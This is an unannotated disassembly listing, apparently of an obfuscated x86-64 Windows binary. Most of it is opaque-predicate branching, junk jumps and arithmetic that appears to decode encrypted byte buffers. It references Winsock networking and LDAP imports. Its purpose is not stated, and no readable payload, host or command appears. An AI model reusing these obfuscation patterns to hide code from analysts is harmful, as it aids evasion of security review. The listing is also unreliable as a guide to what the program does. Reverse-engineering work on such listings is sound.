lea rax, [r9 + 5]
cmp r8, rax
jb 0x14007c47e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007c458
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007c767
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007c706
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007c6b6
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007c683
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007c2b0
lea r8, [r9 + 0x61]
lea r9, [r8 + 6]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007c64a
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14007c622
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007c5fb
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007c5c8
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007c592
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14007c56e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007c545
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007c514
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007c4ec
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14007c2b0
lea r8, [r9 + 0x10]
lea r9, [r8 + 4]
jmp 0x14007c2b0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub dl, 0x66
add r11b, dl
movabs rdx, 0x5793c437a9c986ea
jmp 0x14007c2a0
movabs rdx, 0xbb9cb0d1913e56ee
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x5793c437a9c986ea
jmp 0x14007c212
movabs rdx, 0x1fa59d6b78b326f2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x5793c437a9c986ea
movabs rcx, 0x4dfb89b30c4597fe
jmp 0x14007c198
movabs rdx, 0x2d125d800dabbeb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007ce86
movabs rdx, 0x911b4a19f5208eb4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14007c172
movabs rcx, 0xf52436b3dc955eb8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 8
dec rdi
inc rdi
jmp 0x14007c172
movabs rdx, 0x592d234dc40a2ebc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x24
jmp 0x14007ced5
movabs rcx, 0xbd360fe7ab7efec0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
movabs rcx, 0x213efc8192f3cec4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5c
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
movabs rdx, 0x8547e91b7a689ec8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x14007cfa9
movabs rdx, 0xe950d5b561dd6ecc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007cfda
movabs rdx, 0x4d59c24f49523ed0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007c172
movabs rdx, 0xc77011d00bf646da
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0xc58], r11b
inc rdi
jmp 0x14007c172
movabs rdx, 0x2b78fe69f36b16de
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x12
add r11b, dl
cmp r9, 6
jb 0x14007c6a6
movabs rdx, 0x1238dd56e3ba8f34
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14007ce86
movabs rdx, 0x8f81eb03dadfe6e2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2e
add r11b, dl
cmp r8, 0x200
jae 0x14007cd08
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x14007cb8d
movabs rdx, 0xfa921b59ee4aaf5c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007c6d5
movabs rdx, 0xf38ad79dc254b6e6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4a
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x14007cd34
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14007ca77
movabs rdx, 0x94efcfa9ec953786
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007c725
movabs rcx, 0x61cdc6200a40cf04
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
movzx eax, byte [rbp + rdi + 0xc58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007c172
movabs rdx, 0xc5d6b2b9f1b59f08
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x14007cfda
movabs rdx, 0x29df9f53d92a6f0c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x54
add r11b, dl
jmp 0x14007cfa9
movabs rcx, 0x8de88bedc09f3f10
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
movabs rdx, 0xf1f17887a8140f14
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
movabs rdx, 0x55fa65218f88df18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007ced5
movabs rdx, 0xba0351bb76fdaf1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007c172
movabs rdx, 0x1e0c3e555e727f20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14007c172
movabs rdx, 0x82152aef45e74f24
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007ce86
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14007c995
movabs rdx, 0x4dfb89b30c4597fe
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007c786
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007c9d7
movabs rdx, 0xcb449760036aefac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007c172
inc rax
cmp r8, rax
jne 0x14007ca07
movabs rdx, 0x673baac61bf61fa8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007cfda
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007ca37
movabs rdx, 0x332be2c34814fa4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x14007cfa9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007c789
movabs rcx, 0x9f29d1924d0c7fa0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007caa8
movabs rdx, 0x30e6e31005206782
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007ce86
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007cada
movabs rcx, 0x68d509dc3636c77a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x56
dec rdi
inc rdi
jmp 0x14007c172
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007cb16
movabs rcx, 0x3cba440e7fd8576e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 2
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007cb47
movabs rdx, 0xd8b157749863876a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007cfa9
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007c728
movabs rdx, 0x109f7e40c979e762
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007c172
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007cbca
movabs rcx, 0x96892ec006d5df58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rdi + 0xc58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007c172
inc rax
cmp r8, rax
jne 0x14007cbf5
movabs rcx, 0x328042261f610f54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x14007cfda
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007cc25
movabs rdx, 0xce77558c37ec3f50
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x14007cfa9
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007cc61
movabs rcx, 0x6a6e68f250776f4c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x14
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007cca5
movabs rdx, 0x6657c5869029f48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007ccd3
movabs rdx, 0xa25c8fbe818dcf44
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007ced5
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007c6d8
movabs rdx, 0x7641c9f0cb2f5f38
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007ce86
movabs rdx, 0xae2ff0bcfc45bf30
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xc58]
sub r11b, al
sub r11b, 0x50
add r11b, bl
jmp 0x14007ced5
movabs rdx, 0x4a27042314d0ef2c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xc58]
sub r11b, 0x34
add r11b, dl
jmp 0x14007cfa9
movabs rdx, 0xe151fa46de9a27b2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007c172
movabs rdx, 0x455ae6e0c60ef7b6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007cfda
movabs rcx, 0xa963d37aad83c7ba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
jmp 0x14007cfa9
movabs rcx, 0xd6cc01494f897be
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x32
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
movabs rdx, 0xd57e994863e237c6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6a
jmp 0x14007ced5
movabs rdx, 0x1995f161a40a7d2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007ce86
movabs rdx, 0xc9ab3849e92a47da
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x60346709f0002732
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x5e
add cl, bl
mov byte [rbp + rdi + 0xc58], cl
inc r9
dec rdi
inc rdi
jmp 0x14007c172
movabs rdx, 0xf5c5fe179f88b7e6
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4a
add r11b, dl
movabs rcx, 0xfc2b7a70088b572e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x42
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0xc58], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
movabs rcx, 0x59ceeab186fd87ea
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x66
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
movabs rdx, 0xbdd7d74b6e7257ee
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007c172
mov rbx, r10
movabs rcx, 0x21e0c3e555e727f2
add rcx, rdi
and r10b, cl
mov eax, Ordinal_50
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movabs rdx, 0x98228dd62116872a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x26
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xc58], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xe61e17892d5c1f28
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x18
add cl, bl
mov byte [rbp + rdi + 0xc58], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xc58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007c172
movabs rdx, 0xe9f29d1924d0c7fa
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xc58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007c172
movabs rdx, 0x83ae8a056027f6f6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007c16e
movabs rdx, 0xe7b7769f479cc6fa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007c15e
lea rcx, [rbp + 0x1422b00]
jmp 0x14007d0c1
lea rcx, [rbp + 0xc7c2fe]
jmp 0x14007d0c1
lea rcx, [rbp + 0xc58]
xor r8d, r8d
mov rdx, r15
call fcn.140036bc0
test al, al
je 0x14007d125
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
mov edi, dword [r14]
cmp edi, ebx
sete dl
mov dword [rbp - 0x74], 0
mov dword [rbp - 0x70], 0
lea r9, [rbp - 0x74]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e490
test al, al
je 0x14007d10c
mov dword [r14], ebx
cmp edi, ebx
jne 0x14007d115
call fcn.140014a40
inc ebx
add rsi, 8
cmp ebx, 4
jl 0x14007d0e0
call fcn.140018d80
mov byte [rbp + 0xc80], WSASetLastError
mov byte [rbp + 0xc81], Ordinal_35
mov byte [rbp + 0xc82], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xc83], 0x68
mov byte [rbp + 0xc84], 0xb2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc85], xmm0
mov qword [rbp + 0xc95], rax
mov dword [rbp + 0xc9d], eax
mov word [rbp + 0xca1], ax
movabs rdi, 0xd36893ea25d5d27d
movabs rsi, 0x52c06556fa6eeb23
movabs r15, 0x2ea374c201cd3ac9
movabs r14, 0xf5797bd2f6d47591
movabs r13, 0x9832924ef339ffff
movzx r10d, byte [rsp + 0x40]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007df3b
movzx r11d, byte [rbp + rbx + 0xc80]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007df32
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007d1fc
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x7f
jmp 0x14007d220
je 0x14007deab
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007de74
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007de47
nop dword [rax]
cmp r9, rbx
ja 0x14007df29
lea rax, [r9 + 9]
cmp r8, rax
jae 0x14007d24a
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6b
jmp 0x14007d290
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14007ddf2
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007dda4
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007dd6f
lea rax, [rcx + 1]
cmp r8, rax
je 0x14007dcd6
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007dcb1
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007d8ff
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007d8d6
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007d8a4
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007d875
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007d84c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007d823
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007d7ea
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007d7c1
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007d798
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007d75e
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007d2a0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0xa]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007df04
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007dedf
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007d481
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007d466
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007d44b
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14007d700
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14007d69a
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14007d64b
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007d61b
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007d2a0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14007d5e6
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007d5c2
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007d59e
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14007d56a
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007d545
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007d51d
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007d4f2
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007d4c4
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007d49f
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14007d2a0
lea r8, [r9 + 1]
lea r9, [r8 + 4]
jmp 0x14007d2a0
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
jmp 0x14007d290
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
jmp 0x14007d220
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 7
add r10b, dl
jmp 0x14007d1c5
movabs rdx, 0x9b449f512eae93e8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
jmp 0x14007de12
movabs rcx, 0x3dfdb5cd2b141e56
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5a
inc r9
dec rbx
inc rbx
jmp 0x14007d1b2
movabs rcx, 0xe0b6cc492779a8c4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5c
dec rbx
inc rbx
jmp 0x14007d1b2
movabs rdx, 0x836fe2c523df3332
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5e
add r10b, dl
jmp 0x14007ddc3
movabs rcx, 0x2628f9412044bda0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
jmp 0x14007de93
movabs rcx, 0xc8e20fbd1caa480e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d1b2
movabs rcx, 0x6b9b2639190fd27c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x14007dcf5
movabs rcx, 0xe543cb515755cea
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
jmp 0x14007dd25
movabs rcx, 0xb10d533111dae758
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
movzx eax, byte [rbp + rbx + 0xc80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d1b2
movabs rcx, 0xc7dc0b6708d8c16b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x13
mov byte [rbp + rbx + 0xc80], r10b
inc rbx
jmp 0x14007d1b2
movabs rcx, 0x6a9521e3053e4bd9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x11
cmp r9, 8
jb 0x14007d63b
movabs rdx, 0x9520854cb7c56c16
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x34]
jmp 0x14007de15
movabs rdx, 0xd4e385f01a3d647
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xf
add r10b, dl
cmp r8, 0x7a
jae 0x14007dc52
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14007db06
movabs rdx, 0xf05b662493bcd462
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007d66a
movabs rcx, 0xb0074edafe0960b5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xd
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x14007dc83
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14007da06
movabs rcx, 0x1cf2d23a6de701e5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
jmp 0x14007d6bd
movabs rdx, 0xf473777ce302eeee
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d1b2
movabs rdx, 0x972c8df8df68795c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007dd25
movabs rdx, 0x39e5a474dbce03ca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007dcf5
movabs rdx, 0xdc9ebaf0d8338e38
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d1b2
movabs rdx, 0x7f57d16cd49918a6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007de93
movabs rdx, 0x2210e7e8d0fea314
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007ddc3
movabs rdx, 0xc4c9fe64cd642d82
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
